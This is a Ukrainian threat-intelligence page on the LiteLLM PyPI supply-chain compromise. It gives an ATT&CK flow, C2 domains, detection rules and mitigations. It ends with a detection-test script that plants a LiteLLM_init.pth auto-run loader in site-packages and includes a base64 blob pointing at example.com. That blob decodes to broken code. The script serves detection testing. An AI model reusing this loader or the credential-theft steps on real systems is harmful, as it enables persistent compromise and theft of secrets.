Ваш AI шлюз був бекдором: всередині скомпрометованого ланцюжка поставок LiteLLM
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Злом ланцюга поставок вразив широко використовувані пакет Python LiteLLM на PyPI. Зловмисні випуски 1.82.7 і 1.82.8 передавали трьохетапний навантаження, розроблене для крадіжки облікових даних хмари, SSH-ключів і секретів Kubernetes, далі проникавши всередину кластерів і встановлюючи постійний бекдор. Діяльність приписується злочинній групі TeamPCP і, здається, пов’язана з попередніми компрометаціями, що стосуються інструментів безпеки, включаючи Trivy і Checkmarx.
Розслідування
Слідчі пов’язали ланцюг зламу з компрометованим Trivy GitHub Action, який розголосив персональний токен доступу, що дозволило здійснити примусовий поштовх заражених версій LiteLLM до PyPI. Перевірка коду виявила багатошаровий завантажувач Python з великою кількістю Base64, який використовував RSA-4096 і AES-256 для захищеного етапування і передачі на домени, контрольовані атакуючим. Завантаження також створило Kubernetes-поди для доступу до файлової системи хоста і розширення збирання. Повторне використання інфраструктури на PyPI, npm, Docker Hub, GitHub Actions і OpenVSX вказувало на скоординовану, багатосистемну кампанію, а не ізольоване захоплення пакета.
Смягчення
Блокуйте виявлені шкідливі домени, замініть будь-які потенційно розголошені облікові дані та видаліть артефакти LiteLLM_init.pth. Полюйте на персистентність через системний блок sysmon.service systemd для користувачів і розслідуйте несподіване створення файлів .pth. Зменшіть вплив ланцюга поставок, забезпечуючи верифіковані установки хешем, обмежуючи або забороняючи неперевірені поведінки після установки, та застосовуючи обмеження виходу. Де можливо, додайте моніторинг відбитків пальців JARM, щоб виявляти трафік, пов’язаний з відомими ASN з захищеними хостами.
Реакція
Якщо є підозра на злом, ізолюйте уражені системи, завершіть шкідливі процеси Python і видаліть троянізовані пакети LiteLLM разом з будь-якими файлами персистентності. Негайно замініть усі зібрані секрети, віддаючи пріоритет обліковим даним хмари та LLM ключам API. Розгорніть виявлення ланцюгів виконання, закодованих в Base64 на Python, збросів файлів .pth і аномальної діяльності HTTPS POST до models.litellm.cloud або checkmarx.zone.
Ключові слова: LiteLLM, атака на ланцюг поставок, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, секрети Kubernetes, персистентність .pth, викрадення облікових даних, RSA-4096, AES-256, фільтрація виходу, відбитки пальців JARM.
"graph TB %% Секція визначення класів classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Секція визначення вузлів action_initial_supply_chain["<b>Дія</b> – <b>T1195.001 Компрометація залежностей програмного забезпечення і інструментів розробки</b><br/>Атака отримала токен Aqua Security bot через зламаний Trivy GitHub Action"] class action_initial_supply_chain action tool_trivy_github_action["<b>Інструмент</b> – <b>Назва</b>: Trivy GitHub Action<br/><b>Опис</b>: CI сканування контейнерних образів<br/>фрейм"] class tool_trivy_github_action tool process_publish_malicious["<b>Процес</b> – Опублікувати шкідливі випуски LiteLLM на PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Техніка</b> – <b>T1195.002 Компрометація ланцюга постачання програмного забезпечення</b><br/>Шкідливі версії LiteLLM 1.82.7 та 1.82.8 завантажені на PyPI"] class technique_supply_chain_attack technique technique_python_execution["<b>Техніка</b> – <b>T1059.006 Командний і скриптовий інтерпретатор: Python</b><br/>Файл .pth автоматично завантажується на старті інтерпретатора"] class technique_python_execution technique file_pth["<b>Файл</b> – LiteLLM_init.pth<br/>Поміщується у siteu2011packages, автоматично завантажується Python інтерпретатором"] class file_pth file technique_user_execution["<b>Техніка</b> – <b>T1204.002 Виконання користувачем: Шкідливий файл</b><br/>`pip install LiteLLM==1.82.8` ініціює негайне виконання навантаження"] class technique_user_execution technique technique_credential_harvest["<b>Техніка</b> – <b>T1552.001 Кредити у файлах</b><br/>Колектор читає SSH-ключи, конфігурації хмари, файли .env, кредити баз даних, криптовалютні гаманці"] class technique_credential_harvest technique technique_metadata["<b>Техніка</b> – <b>T1552.005 Небезпечні Кредити: Cloud Instance Metadata API</b><br/>Запити до метаданих AWS, GCP та Azure на тимчасові IAM токени"] class technique_metadata technique technique_os_cred_dump["<b>Техніка</b> – <b>T1003 Ос Dumping Кредити</b><br/>Читає /etc/shadow та журнали аутентифікації для кредитних даних"] class technique_os_cred_dump technique technique_obfuscation["<b>Техніка</b> – <b>T1027 Обфусцировані файли або інформація</b><br/>Кілька шарів base64, бінарні підклади, очищені навантаження, динамічний оброблювач API, шифрування AESu2011256u2011CBC, оболонка RSAu20114096"] class technique_obfuscation technique technique_exfiltration["<b>Техніка</b> – <b>T1041 Експільтрація через C2 канал</b><br/>Зашифровані пакети кредитних даних відправлені через HTTPS POST до models.litellm.cloud"] class technique_exfiltration technique technique_web_service["<b>Техніка</b> – <b>T1102.001 Веб-сервіс: Розв’язувач мертвого падіння</b><br/>Бекдор запитує checkmarx.zone/raw для отримання навантажень другого етапу і звітує про статус"] class technique_web_service technique technique_persistence["<b>Техніка</b> – <b>T1543.002 Створення або модифікація системного процесу: Служба Systemd</b><br/>Служба sysmon.service для користувачів встановлена для збереження персистентності через перезавантаження"] class technique_persistence technique technique_container_lateral["<b>Техніка</b> – <b>T1543.005 Створення або модифікація системного процесу: Служба контейнера</b><br/>Привілейовані Kubernetes поди створені з доступом до файлової системи хоста для кластерного руху"] class technique_container_lateral technique technique_remote_services["<b>Техніка</b> – <b>T1133 Зовнішні віддалені сервіси</b><br/>Бекдор збережений дозволяє віддалене виконання команд через C2 запитувач"] class technique_remote_services technique technique_defense_evasion["<b>Техніка</b> – <b>T1140 Деобфусцировані/розшифровані файли або інформація</b><br/>Розшифрування навантажень на рівні виконання уникає статичного виявлення"] class technique_defense_evasion technique %% Зв’язки секції action_initial_supply_chain –>|використовує| tool_trivy_github_action tool_trivy_github_action –>|призводить до| process_publish_malicious process_publish_malicious –>|результати в| technique_supply_chain_attack technique_supply_chain_attack –>|дозволяє| technique_python_execution technique_python_execution –>|завантажує| file_pth file_pth –>|ініціює| technique_user_execution technique_user_execution –>|причини| technique_credential_harvest technique_credential_harvest –>|також виконує| technique_metadata technique_metadata –>|у поєднанні з| technique_os_cred_dump technique_os_cred_dump –>|обфусцировано| technique_obfuscation technique_obfuscation –>|призводить до| technique_exfiltration technique_exfiltration –>|використовує| technique_web_service technique_web_service –>|встановлює| technique_persistence technique_persistence –>|дозволяє| technique_container_lateral technique_container_lateral –>|підтримує| technique_remote_services technique_remote_services –>|сприяє| technique_defense_evasion "
Поточний потік атаки
Виявлення
Ймовірне шифрування або розшифрування файлів з OpenSSL [Linux] (через cmdline)
Переглянути
Архів був створений у каталозі Linux Tmp (через подію файлу)
Переглянути
Підозріле використання CURL (через cmdline)
Переглянути
Архів був створений у тимчасовій папці MacOS (через подію файлу)
Переглянути
Ймовірне шифрування або розшифрування файлів з OpenSSL [MacOS] (через cmdline)
Переглянути
Можливий сайт зі спеціальним конфігураційним гачком файл був створений (через подію файлу)
Переглянути
Зловмисні Python пакети IOCs (через cmdline)
Переглянути
Підозріла спроба виконання Curl [MacOS] (через cmdline)
Переглянути
Створення файла служби в каталозі Systemd (через подію файлу)
Переглянути
IOCs (DestinationIP) для виявлення: Ваш AI шлюз був бекдором: В інсайті компрометації ланцюга поставок LiteLLM
Переглянути
IOCs (SourceIP) для виявлення: Ваш AI шлюз був бекдором: В інсайті компрометації ланцюга поставок LiteLLM
Переглянути
Виявлення зловмисного пакету LiteLLM через файл .pth та використання subprocess.Popen [Linux створення процесу]
Переглянути
Експільтрація та C2 комунікація через зловмисні домени в атаці на ланцюг поставок LiteLLM [Фаєрвол]
Переглянути
Імітація виконання
Умова: Телеметрія та перевірка базової лінії до польоту повинні були пройти.
Обгрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), розробленої для ініціювання правила виявлення. Команди та наратив на ПОВИННІ безпосередньо відображати ідентифіковані TTP і прагнути досягти точного рівня телеметрії, очікуваного логікою виявлення. Абстрактні або непов’язані приклади приведуть до помилкового діагнозу.
-
Опис атаки та команди:
Атакуючий, який зламав громадськийLiteLLMпакет PyPI, інжектує зловмисний.pthфайл з назвоюLiteLLM_init.pth. Файл розташований в глобальному каталозі site‑packages, що дозволяє обробляти його кожного разу, коли any інтерпретатор Python стартує. The.pthмістить всього один рядок, який виконує закодоване в base64 навантаження за допомогоюsubprocess.Popen. Навантаження завантажує інструмент другого етапу з C2 сервера через HTTPS (T1071.001) і записує вкрадені кредити до/tmp/creds.txt(T1552.*). Використовуючи хук запуску інтерпретатора, атакуючий досягає персистентності без модифікації системних одиниць systemd, уникаючи багатьох традиційних підходів до виявлення.Симульовані етапи:
- Створіть шкідливий
.pthфайл з вбудованим кодом Python. - Ініціюйте запуск інтерпретатора Python (наприклад,
python3 -c "import sys"), викликаючи.pthна виконання. - Вбудований код декодує навантаження base64 і запускає його за допомогою
subprocess.Popen, генеруючи процес, чия командна лінія містить іLiteLLM_init.pth(з шляху імпорту інтерпретатора) іsubprocess.Popen.
- Створіть шкідливий
-
Тестовий скрипт регресії:
Скрипт нижче автоматизує всю симуляцію атаки на тестовому хості Ubuntu.#!/usr/bin/env bash set -euo pipefail # ---------- 1. Створіть зловмисне навантаження .pth ---------- MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p" # Вищенаведене декодується у невеликий скрипт на Python, який завантажує вантаж другого етапу. # Для безпеки в тестовому середовищі ми замінюємо його на нешкідливу команду echo. PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0) # Записуємо файл .pth – рядок виконується як Python код під час завантаження інтерпретатора echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null echo "[+] Зловмисний .pth файл створений за адресою ${MALICIOUS_PTH_PATH}" # ---------- 2. Викличте завантаження інтерпретатора (генерує телеметрію) ---------- echo "[+] Виклик інтерпретатора Python для завантаження .pth..." python3 -c "import sys; print('виклик')" # ---------- 3. Перевірте, що навантаження виконано ---------- if grep -q "malicious executed" /tmp/malicious.log; then echo "[+] Навантаження виконалося успішно – детекція повинна спрацювати." else echo "[-] Навантаження НЕ виконалося – перевірте розташування .pth и права доступу." fi -
Команди очищення:
#!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" # Видаліть зловмисний файл .pth if sudo test -f "${MALICIOUS_PTH_PATH}"; then sudo rm -f "${MALICIOUS_PTH_PATH}" echo "[+] Видалено зловмисний файл .pth." fi # Видаліть файл доказів, створений навантаженням if test -f "/tmp/malicious.log"; then sudo rm -f "/tmp/malicious.log" echo "[+] Очищено /tmp/malicious.log." fi # За бажанням видаліть правило аудиту (якщо додали спеціальне тестове правило) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation